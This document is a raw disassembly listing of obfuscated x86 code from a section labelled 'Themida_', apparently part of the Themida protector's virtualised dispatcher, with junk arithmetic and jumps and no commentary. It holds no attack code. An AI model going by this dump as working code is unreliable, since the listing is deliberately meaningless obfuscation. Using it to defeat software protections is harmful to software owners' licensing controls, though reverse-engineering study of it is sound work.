		sub	dword ptr [esp+4], 6E9C2029h
		add	[esp+4], edx
		jmp	loc_5959A5
; ---------------------------------------------------------------------------


loc_594641:				; CODE XREF: Themida_:005A3CC3j
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, [esp]
		jmp	loc_5A4762
; ---------------------------------------------------------------------------


loc_59464D:				; CODE XREF: Themida_:0059600Fj
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_59F0F4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		sub	esp, 4
		jmp	loc_59836D
; ---------------------------------------------------------------------------


loc_594677:				; CODE XREF: Themida_:005A4B03j
		add	ebx, 51BA776Bh
		add	ebx, edi
		jmp	loc_59F9E1
; ---------------------------------------------------------------------------


loc_594684:				; CODE XREF: Themida_:005A39B1j
		mov	[esp], ebp
		push	155Eh
		jmp	loc_59B5F0
; ---------------------------------------------------------------------------


loc_594691:				; CODE XREF: Themida_:00595379j
		push	189Fh
		mov	[esp], ecx
		jmp	loc_594614
; ---------------------------------------------------------------------------


loc_59469E:				; CODE XREF: Themida_:005924C9j
		add	esi, edx
		pop	edx
		jmp	loc_594C8F
; ---------------------------------------------------------------------------


loc_5946A6:				; CODE XREF: Themida_:005A21F0j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esi, 4
		push	edi
		jmp	loc_59FEE5
; ---------------------------------------------------------------------------


loc_5946C4:				; CODE XREF: Themida_:0059D95Cj
		add	edi, 9A5A1520h
		sub	esi, 0FB600B7h
		add	esi, edi
		add	esi, 0FB600B7h
		jmp	loc_5991D5
; ---------------------------------------------------------------------------


loc_5946DD:				; CODE XREF: Themida_:005A0711j
		sub	eax, 2288587Dh
		jmp	loc_593F2B
; ---------------------------------------------------------------------------


loc_5946E7:				; CODE XREF: Themida_:005A42A2j
		add	esp, 4
		push	eax
		mov	eax, 3B3757EBh
		push	edx
		mov	edx, 2CD90BAEh
		shr	edx, 5
		add	edx, 3A254C4h
		or	eax, edx
		pop	edx
		jmp	loc_5A0631
; ---------------------------------------------------------------------------


loc_59470A:				; CODE XREF: Themida_:00591234j
		push	edi
		mov	edi, 59176EC4h
		and	edx, edi
		pop	edi
		push	ebx
		jmp	loc_5A0F06
; ---------------------------------------------------------------------------


loc_594719:				; CODE XREF: Themida_:00597457j
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		push	edi
		jmp	loc_596599
; ---------------------------------------------------------------------------


loc_59473D:				; CODE XREF: Themida_:0059F5C8j
		pop	ebp
		push	edx
		push	ebp
		push	ecx
		mov	ecx, 5F870934h
		add	[esp+4], ecx
		jmp	loc_59FDFC
; ---------------------------------------------------------------------------


loc_59474F:				; CODE XREF: Themida_:005921B1j
		sub	bl, 5Ah
		add	bl, cl
		jmp	loc_59E349
; ---------------------------------------------------------------------------


loc_594759:				; CODE XREF: Themida_:0059CCD2j
		add	ebp, 6B4648EBh
		jmp	loc_59F9F8
; ---------------------------------------------------------------------------


loc_594764:				; CODE XREF: Themida_:005993C1j
		pop	ebx
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	7787h
		mov	[esp], eax
		jmp	loc_5951D9
; ---------------------------------------------------------------------------


loc_59477A:				; CODE XREF: Themida_:0059F970j
		mov	ecx, ebx
		pop	ebx
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_596668
; ---------------------------------------------------------------------------


loc_594788:				; CODE XREF: Themida_:005A11C6j
		add	dh, 37h
		mov	bl, dh
		pop	edx
		mov	dh, bl
		pop	ebx
		mov	cl, 74h
		sub	cl, dh
		pop	edx
		jmp	loc_596A3A
; ---------------------------------------------------------------------------


loc_59479B:				; CODE XREF: Themida_:005917A9j
		add	esi, eax
		pop	eax
		sub	esi, 8A89510Fh
		add	ebp, esi
		pop	esi
		jmp	loc_5955A1
; ---------------------------------------------------------------------------


loc_5947AC:				; CODE XREF: Themida_:005A3C8Bj
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_59ADEF
; ---------------------------------------------------------------------------


loc_5947C3:				; CODE XREF: Themida_:0059082Aj
		mov	esi, 2
		jmp	loc_59E7FA
; ---------------------------------------------------------------------------


loc_5947CD:				; CODE XREF: Themida_:00593272j
		pop	ecx
		shl	ebp, 5
		push	ebx
		push	ebp
		jmp	loc_5A25E9
; ---------------------------------------------------------------------------


loc_5947D8:				; CODE XREF: Themida_:005A1217j
		add	esp, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_59B445
; ---------------------------------------------------------------------------


loc_5947E3:				; CODE XREF: Themida_:00597C76j
		mov	[esp], ebx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5960E8
; ---------------------------------------------------------------------------


loc_5947FD:				; CODE XREF: Themida_:0059278Aj
		push	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	7C5Ch
		mov	[esp], esi
		push	ebp
		mov	ebp, 4
		push	6C96h
		mov	[esp], eax
		mov	eax, ebp
		mov	esi, eax
		pop	eax
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5A1FDD
; ---------------------------------------------------------------------------


loc_59483A:				; CODE XREF: Themida_:00597077j
		xchg	edi, [esp]
		jmp	loc_5A2E72
; ---------------------------------------------------------------------------


loc_594842:				; CODE XREF: Themida_:0059AE73j
		add	ebx, 5467709Dh
		xor	ebx, 2D675899h
		not	ebx
		dec	ebx
		add	ebx, 0CEFBCAD7h
		and	ecx, ebx
		pop	ebx
		shl	ecx, 3
		add	ecx, 27450533h
		jmp	loc_597AF8
; ---------------------------------------------------------------------------


loc_594868:				; CODE XREF: Themida_:005A5173j
		pop	ebx
		dec	edi
		jmp	loc_596EF1
; ---------------------------------------------------------------------------


loc_59486F:				; CODE XREF: Themida_:0059EAA3j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_59E8E0
; ---------------------------------------------------------------------------


loc_594880:				; CODE XREF: Themida_:0059A5BBj
		pop	eax
		jmp	loc_5A22F5
; ---------------------------------------------------------------------------


loc_594886:				; CODE XREF: Themida_:0059D25Ej
		mov	ebx, [esp]
		jmp	loc_598447
; ---------------------------------------------------------------------------


loc_59488E:				; CODE XREF: Themida_:005A1E37j
		shr	ecx, 5
		shr	ecx, 5
		not	ecx
		sub	ecx, 72F66B4Eh
		push	ebp
		push	ebx
		mov	ebx, 1AD80BA9h
		jmp	loc_590450
; ---------------------------------------------------------------------------


loc_5948A8:				; CODE XREF: Themida_:0059EB6Dj
		mov	ebx, [esp]
		jmp	loc_591C94
; ---------------------------------------------------------------------------


loc_5948B0:				; CODE XREF: Themida_:00591515j
		mov	edx, [esp]
		jmp	loc_5932EE
; ---------------------------------------------------------------------------


loc_5948B8:				; CODE XREF: Themida_:0059B1D3j
		xor	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		mov	esi, 634E5C4Eh
		xor	esi, edx
		pop	edx
		sub	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		push	49A3h
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		push	4
		pop	ecx
		sub	ebx, 1F5162B1h
		add	ebx, ecx
		jmp	loc_5A0BC6
; ---------------------------------------------------------------------------


loc_5948EB:				; CODE XREF: Themida_:0059CD94j
		push	dx
		mov	dh, cl
		dec	dh
		mov	cl, dh
		pop	dx
		not	cl
		add	cl, 30h
		or	bl, cl
		pop	ecx
		not	bl
		neg	bl
		push	dx
		jmp	loc_595D2F
; ---------------------------------------------------------------------------


loc_594908:				; CODE XREF: Themida_:00592F80j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59FA20
; ---------------------------------------------------------------------------


loc_594911:				; CODE XREF: Themida_:00597FDDj
		mov	edi, 603Eh
		sub	esi, edi
		pop	edi
		jmp	loc_5A00AE
; ---------------------------------------------------------------------------


loc_59491E:				; CODE XREF: Themida_:005A34C4j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594940:				; CODE XREF: Themida_:0059E275j
		shr	ebx, 4
		dec	ebx
		add	ebx, 0DA469FBh
		push	ecx
		mov	ecx, 3DD22C6Fh
		xor	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 34D13EEAh
		jmp	loc_5A4C01
; ---------------------------------------------------------------------------


loc_59495E:				; CODE XREF: Themida_:00590A21j
		mov	eax, [esp]
		push	edx
		jmp	loc_59DA3C
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A31B1
; ---------------------------------------------------------------------------


loc_59496D:				; CODE XREF: Themida_:0059A822j
		add	esp, 4
		push	ebp
		mov	ebp, 3376542h
		add	ebx, ebp
		pop	ebp
		jmp	loc_59370B
; ---------------------------------------------------------------------------


loc_594981:				; CODE XREF: Themida_:0059CF16j
		sub	esi, 4822ED45h
		mov	ebp, esi
		pop	esi
		and	ebp, 0C51D7Ch
		dec	ebp
		jmp	loc_596312
; ---------------------------------------------------------------------------


loc_594996:				; CODE XREF: Themida_:0059B62Aj
		pop	edx
		jmp	loc_591302
; ---------------------------------------------------------------------------


loc_59499C:				; CODE XREF: Themida_:005A4793j
		sub	dl, bl
		jmp	loc_59FECF
; ---------------------------------------------------------------------------


loc_5949A3:				; CODE XREF: Themida_:005A12BCj
		pop	esp
		shr	ecx, 0Bh
		push	7193h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_597B1C
; ---------------------------------------------------------------------------


loc_5949C0:				; CODE XREF: Themida_:00595CC1j
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_597402
; ---------------------------------------------------------------------------


loc_5949CA:				; CODE XREF: Themida_:005A3D35j
		push	ebx
		sub	dword ptr [esp], 1100461Ch
		jmp	loc_59F564
; ---------------------------------------------------------------------------


loc_5949D7:				; CODE XREF: Themida_:0059A5A3j
		push	5F51h
		mov	[esp], edx
		mov	edx, 125B7CBDh
		push	0
		jmp	loc_59F03B
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5949F7:				; CODE XREF: Themida_:0059FCF4j
		mov	ch, bl
		jmp	loc_597C1A
; ---------------------------------------------------------------------------


loc_5949FE:				; CODE XREF: Themida_:005955F5j
		push	dword ptr [esp]
		jmp	loc_59FE75
; ---------------------------------------------------------------------------


loc_594A06:				; CODE XREF: Themida_:0059249Aj
		mov	esp, [esp]
		add	esp, 4
		push	4194h
		jmp	loc_5985AC
; ---------------------------------------------------------------------------


loc_594A16:				; CODE XREF: Themida_:005A0503j
		mov	[esp], edi
		mov	edi, 643F5F2Dh
		sub	ebp, edi
		pop	edi
		shl	ebp, 4
		neg	ebp
		sub	ebp, 5A8D6825h
		not	ebp
		push	ecx
		jmp	loc_59E164
; ---------------------------------------------------------------------------


loc_594A34:				; CODE XREF: Themida_:0059D6C5j
		sub	ebx, 0B591E6Ah
		add	ebx, 5C5D3DD0h
		sub	ebx, edi
		sub	ebx, 5C5D3DD0h
		add	ebx, 0B591E6Ah
		jmp	loc_5A4D36
; ---------------------------------------------------------------------------


loc_594A53:				; CODE XREF: Themida_:0059B902j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	57864BFCh
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 2BF13A71h
		push	ebp
		mov	ebp, ebx
		mov	edi, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_593C61
; ---------------------------------------------------------------------------


loc_594A86:				; CODE XREF: Themida_:005A2C53j
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_59D42F
; ---------------------------------------------------------------------------


loc_594AB2:				; CODE XREF: Themida_:0059F476j
		pop	esp
		push	ebx
		push	5B54h
		mov	[esp], ecx
		mov	ch, 6
		push	edx
		mov	dl, 87h
		shl	dl, 8
		sub	dl, 0B6h
		or	ch, dl
		jmp	loc_5A3772
; ---------------------------------------------------------------------------


loc_594ACE:				; CODE XREF: Themida_:005A0C03j
		add	ecx, 4
		jmp	loc_59EA63
; ---------------------------------------------------------------------------


loc_594AD9:				; CODE XREF: Themida_:0059912Bj
		sub	[esp], edx
		pop	edx
		jmp	loc_59A0A4
; ---------------------------------------------------------------------------


loc_594AE2:				; CODE XREF: Themida_:005A3C49j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_59D29C
; ---------------------------------------------------------------------------


loc_594AEE:				; CODE XREF: Themida_:005977C5j
		xor	ecx, 0F1A17CEh
		mov	edx, ecx
		pop	ecx
		add	edx, edi
		add	[edx], eax
		jmp	loc_598962
; ---------------------------------------------------------------------------


loc_594B00:				; CODE XREF: Themida_:00596EFFj
		mov	ecx, 18E12C32h
		inc	ecx
		xor	ecx, 6442049Ah
		dec	ecx
		jmp	loc_5A05FD
; ---------------------------------------------------------------------------


loc_594B12:				; CODE XREF: Themida_:0059F34Cj
		pop	edi
		sub	eax, 7E634B28h
		sub	eax, esi
		push	ebx
		jmp	loc_59A04A
; ---------------------------------------------------------------------------


loc_594B20:				; CODE XREF: Themida_:005A0F46j
		push	7421h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5A40D9
; ---------------------------------------------------------------------------


loc_594B2F:				; CODE XREF: Themida_:005A489Cj
		push	241h
		mov	[esp], ebp
		jmp	loc_592E76
; ---------------------------------------------------------------------------


loc_594B3C:				; CODE XREF: Themida_:00597530j
		add	bh, 5Eh
		jmp	loc_592D51
; ---------------------------------------------------------------------------


loc_594B44:				; CODE XREF: Themida_:005967EDj
		mov	[esp], ebp
		push	7219h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_598FD9
; ---------------------------------------------------------------------------


loc_594B5E:				; CODE XREF: Themida_:00598FD4j
		shl	esi, 4
		sub	esi, 15505B98h
		or	ebp, esi
		pop	esi
		jmp	loc_59B140
; ---------------------------------------------------------------------------


loc_594B6F:				; CODE XREF: Themida_:005A45B3j
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		jmp	loc_598C57
; ---------------------------------------------------------------------------


loc_594B7A:				; CODE XREF: Themida_:00599EBAj
		xchg	eax, [esp]
		pop	esp
		add	dword ptr [esp], 4B56045Fh
		push	1050h
		mov	[esp], ebp
		mov	ebp, 49066370h
		push	edx
		jmp	loc_5A39E3
; ---------------------------------------------------------------------------


loc_594B98:				; CODE XREF: Themida_:00598EB1j
		push	edx
		jmp	loc_596346
; ---------------------------------------------------------------------------


loc_594B9E:				; CODE XREF: Themida_:0059F5A1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594BAA:				; CODE XREF: Themida_:005920D3j
		pop	ebp
		xor	esi, 5FD70755h
		jmp	loc_591AF2
; ---------------------------------------------------------------------------


loc_594BB6:				; CODE XREF: Themida_:005A3A1Ej
		add	ebp, 4
		jmp	loc_59D653
; ---------------------------------------------------------------------------


loc_594BC1:				; CODE XREF: Themida_:005A0C69j
		push	2932120h
		jmp	loc_596C9F
; ---------------------------------------------------------------------------
		lodsd
		push	76F2h
		jmp	loc_598C2D
; ---------------------------------------------------------------------------


loc_594BD6:				; CODE XREF: Themida_:00590757j
		mov	[esp], ecx
		push	ebp
		push	esi
		push	ecx
		jmp	loc_59669A
; ---------------------------------------------------------------------------


loc_594BE1:				; CODE XREF: Themida_:005A510Dj
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_59991C
; ---------------------------------------------------------------------------


loc_594BF5:				; CODE XREF: Themida_:005952D0j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 73C22DBEh
		sub	ebp, 73C22DBAh
		add	eax, ebp
		pop	ebp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	0EABh
		jmp	loc_5A512B
; ---------------------------------------------------------------------------


loc_594C29:				; CODE XREF: Themida_:00598691j
		add	esi, 63AF33B9h
		sub	esi, edi
		sub	esi, 63AF33B9h
		mov	edi, [esp]
		jmp	loc_599CC9
; ---------------------------------------------------------------------------


loc_594C3F:				; CODE XREF: Themida_:00598FB2j
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_59BCFE
; ---------------------------------------------------------------------------


loc_594C4A:				; CODE XREF: Themida_:00599282j
		pop	dword ptr [esp]
		jmp	loc_59DCB9
; ---------------------------------------------------------------------------


loc_594C52:				; CODE XREF: Themida_:0059A25Aj
		push	212Eh
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		pop	esi
		jmp	loc_5A5058
; ---------------------------------------------------------------------------


loc_594C63:				; CODE XREF: Themida_:00592693j
		xor	[esp], edi
		jmp	loc_59D4F3
; ---------------------------------------------------------------------------


loc_594C6B:				; CODE XREF: Themida_:005A3E6Fj
		xor	ebx, 344B3736h
		sub	ebx, 3F7B279Bh
		neg	ebx
		add	ebx, 0F293D049h
		sub	ecx, ebx
		pop	ebx
		sub	ecx, 7E6E268Bh
		add	ecx, esi
		jmp	loc_595C3E
; ---------------------------------------------------------------------------


loc_594C8F:				; CODE XREF: Themida_:005946A1j
		xchg	esi, [esp]
		jmp	loc_59B593
; ---------------------------------------------------------------------------


loc_594C97:				; CODE XREF: Themida_:00595911j
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4


loc_594CA0:				; CODE XREF: Themida_:0059FC70j
		push	1252h
		mov	[esp], ebx
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59E47D
; ---------------------------------------------------------------------------


loc_594CB4:				; CODE XREF: Themida_:005995D3j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594CB9:				; CODE XREF: Themida_:005A007Dj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594CD9:				; CODE XREF: Themida_:0059FD06j
		and	edx, 7AB3789Ah
		sub	edx, 47420AE8h
		sub	edx, 6ADF4AFFh
		sub	edx, 0ED8ACF4h
		xor	esi, edx
		pop	edx
		jmp	loc_5A05B6
; ---------------------------------------------------------------------------


loc_594CF9:				; CODE XREF: Themida_:00592588j
		add	ebp, esi
		pop	esi
		add	ebp, 40951AC9h
		jmp	loc_59CD4E
; ---------------------------------------------------------------------------


loc_594D07:				; CODE XREF: Themida_:00593B4Aj
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_59BAA8
; ---------------------------------------------------------------------------


loc_594D15:				; CODE XREF: Themida_:00599F04j
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594D23:				; CODE XREF: Themida_:005A0AC6j
		or	bh, 4Fh
		push	0
		sub	[esp], bh
		mov	bh, [esp]
		add	esp, 4
		shl	bh, 3
		add	bh, 0E1h
		not	bh
		sub	bh, 0FFh
		sub	bh, 0F1h
		xor	dl, bh
		pop	ebx
		xor	dl, ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_598174
; ---------------------------------------------------------------------------


loc_594D53:				; CODE XREF: Themida_:00598AFBj
		inc	ebp
		jmp	loc_5A1128
; ---------------------------------------------------------------------------


loc_594D59:				; CODE XREF: Themida_:005983C9j
		mov	esp, [esp]
		push	eax
		mov	eax, 0CCC6F03h
		push	esi
		mov	esi, 1F981109h
		not	esi
		not	esi
		not	esi
		jmp	loc_59DCA1
; ---------------------------------------------------------------------------


loc_594D73:				; CODE XREF: Themida_:005A1A9Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594D82:				; CODE XREF: Themida_:005A3606j
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, edx
		jmp	loc_59C290
; ---------------------------------------------------------------------------


loc_594D97:				; CODE XREF: Themida_:005A4B60j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59BED6
; ---------------------------------------------------------------------------


loc_594DA2:				; CODE XREF: Themida_:0059CB7Aj
		shl	eax, 3
		push	14A0h
		mov	[esp], edi
		jmp	loc_5A23BB
; ---------------------------------------------------------------------------


loc_594DB2:				; CODE XREF: Themida_:005A44E3j
		sub	edx, 3373093Bh
		sub	edx, 83D834A2h
		push	edx
		add	dword ptr [esp], 63A02D67h
		pop	ecx
		sub	ecx, 63A02D67h
		jmp	loc_5A43FB
; ---------------------------------------------------------------------------


loc_594DD2:				; CODE XREF: Themida_:00599DADj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	esi
		jmp	loc_5A3EE1
; ---------------------------------------------------------------------------


loc_594DE3:				; CODE XREF: Themida_:005A51F0j
		mov	ecx, esp
		push	eax
		jmp	loc_593FA8
; ---------------------------------------------------------------------------


loc_594DEB:				; CODE XREF: Themida_:00591E59j
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 78975AC7h
		inc	eax
		not	eax
		jmp	loc_59DD70
; ---------------------------------------------------------------------------


loc_594E0B:				; CODE XREF: Themida_:005A3B96j
		add	ebp, 1EE81807h
		xor	ebp, 3A2F6F25h
		xor	ebp, 4F9570A4h
		sub	ebp, 52C1049Ch
		add	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_598E20
; ---------------------------------------------------------------------------


loc_594E31:				; CODE XREF: Themida_:00593F78j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		push	5455h
		jmp	loc_59233B
; ---------------------------------------------------------------------------


loc_594E48:				; CODE XREF: Themida_:00595B9Cj
		xor	cl, bl
		pop	ebx
		push	eax
		mov	ah, cl
		push	ecx
		mov	ch, ah
		mov	dl, ch
		pop	ecx
		pop	eax
		pop	ecx
		jmp	loc_59C5C8
; ---------------------------------------------------------------------------


loc_594E5B:				; CODE XREF: Themida_:005A3980j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		push	edx
		push	448B06C9h
		pop	edx
		sub	edx, 5EA059FEh
		add	edx, 1A155339h
		push	ecx
		mov	ecx, edx
		mov	eax, ecx
		pop	ecx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5950D7
; ---------------------------------------------------------------------------


loc_594E99:				; CODE XREF: Themida_:005958DFj
		mov	ebp, edx
		pop	edx
		sub	ebp, 628D2B13h
		sub	ebp, ecx
		add	ebp, 628D2B13h
		jmp	loc_591154
; ---------------------------------------------------------------------------


loc_594EAF:				; CODE XREF: Themida_:00592AC4j
		push	esi
		push	esp
		jmp	loc_595DA6
; ---------------------------------------------------------------------------


loc_594EB6:				; CODE XREF: Themida_:0059A0CDj
		mov	esi, 2914706Bh
		sub	[esp+8], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A44B7
; ---------------------------------------------------------------------------


loc_594ECD:				; CODE XREF: Themida_:005A44EBj
		add	esp, 4
		add	eax, esi
		push	ecx
		mov	ecx, 87F6AF2h
		add	eax, ecx
		pop	ecx
		add	eax, 4B88534Dh
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59FC20
; ---------------------------------------------------------------------------


loc_594EF4:				; CODE XREF: Themida_:0059D96Aj
		sub	cl, bl
		add	cl, 87h
		mov	bx, [esp]
		jmp	loc_59691A
; ---------------------------------------------------------------------------


loc_594F02:				; CODE XREF: Themida_:0059D0EBj
		sub	al, ch
		jmp	loc_59D44B
; ---------------------------------------------------------------------------


loc_594F09:				; CODE XREF: Themida_:0059CEAEj
		pop	dword ptr [esp]
		jmp	loc_59E5D8
; ---------------------------------------------------------------------------


loc_594F11:				; CODE XREF: Themida_:0059BE90j
		mov	ebp, 80404C2h
		jmp	loc_5A4585
; ---------------------------------------------------------------------------


loc_594F1B:				; CODE XREF: Themida_:005A485Dj
		push	13105BC0h
		jmp	loc_591512
; ---------------------------------------------------------------------------


loc_594F25:				; CODE XREF: Themida_:0059FD59j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_594F2A:				; CODE XREF: Themida_:0059121Bj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_59CAD3
; ---------------------------------------------------------------------------


loc_594F3E:				; CODE XREF: Themida_:00593314j
		mov	eax, 37F97101h
		xor	eax, 2D506B01h
		xor	esi, eax
		mov	eax, [esp]
		jmp	loc_59154A
; ---------------------------------------------------------------------------


loc_594F52:				; CODE XREF: Themida_:00597313j
		push	4AEEh
		mov	[esp], eax
		push	ebx
		push	edx
		mov	edx, 1E2F232Fh
		jmp	loc_595713
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		jmp	loc_597224
; ---------------------------------------------------------------------------


loc_594F6D:				; CODE XREF: Themida_:0059E7E2j
		add	ebx, 4
		jmp	loc_596EA8
; ---------------------------------------------------------------------------


loc_594F75:				; CODE XREF: Themida_:005A3C0Aj
		mov	[esp], ebx
		mov	ebx, 1Ch
		jmp	loc_5945FD
; ---------------------------------------------------------------------------


loc_594F82:				; CODE XREF: Themida_:005A3109j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_591C0A
; ---------------------------------------------------------------------------


loc_594F98:				; CODE XREF: Themida_:005A1A42j
		sub	ebx, ebp
		add	ebx, 7D7B1252h
		jmp	loc_5944D5
; ---------------------------------------------------------------------------


loc_594FA5:				; CODE XREF: Themida_:00597B89j
		xor	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	eax, ebp
		mov	ebp, [esp]
		push	edi
		push	6002h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_590B5C
; ---------------------------------------------------------------------------


loc_594FDA:				; CODE XREF: Themida_:0059DA0Aj
		xor	dword ptr [edx], 54A51367h
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_599799
; ---------------------------------------------------------------------------


loc_594FF2:				; CODE XREF: Themida_:005A3B32j
		push	edi
		mov	edi, 2
		add	ebp, edi
		jmp	loc_5A0CD0
; ---------------------------------------------------------------------------


loc_594FFF:				; CODE XREF: Themida_:005954A6j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595008:				; CODE XREF: Themida_:005963A8j
		add	eax, ebp
		pop	ebp
		jmp	loc_5A44E8
; ---------------------------------------------------------------------------


loc_595010:				; CODE XREF: Themida_:0059432Ej
		mov	esi, 5622721h
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		sub	esi, 78064F1Bh
		add	esi, 4A6F5E66h
		sub	esi, 0A03800E1h
		add	eax, esi
		pop	esi
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595039:				; CODE XREF: Themida_:005A50DDj
		pop	ecx
		push	ecx
		jmp	loc_591AB7
; ---------------------------------------------------------------------------


loc_595040:				; CODE XREF: Themida_:005939AAj
		push	small 5118h
		jmp	loc_5A2F76
; ---------------------------------------------------------------------------


loc_595049:				; CODE XREF: Themida_:0059826Bj
		push	eax
		jmp	loc_593239
; ---------------------------------------------------------------------------


loc_59504F:				; CODE XREF: Themida_:005A2327j
		sub	edi, 818BFE6h
		sub	edx, edi
		pop	edi
		jmp	loc_5966CC
; ---------------------------------------------------------------------------


loc_59505D:				; CODE XREF: Themida_:0059AD21j
		pop	ebp
		add	edi, ebx
		pop	ebx
		mov	eax, edi
		pop	edi
		and	ecx, eax
		mov	eax, [esp]
		push	75ADh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_591251
; ---------------------------------------------------------------------------


loc_59508A:				; CODE XREF: Themida_:0059731Dj
		mov	esi, ebx
		pop	ebx
		jmp	loc_59F209
; ---------------------------------------------------------------------------


loc_595092:				; CODE XREF: Themida_:005A1316j
		sub	edx, ebx
		pop	ebx
		shl	edx, 8
		jmp	loc_595EED
; ---------------------------------------------------------------------------

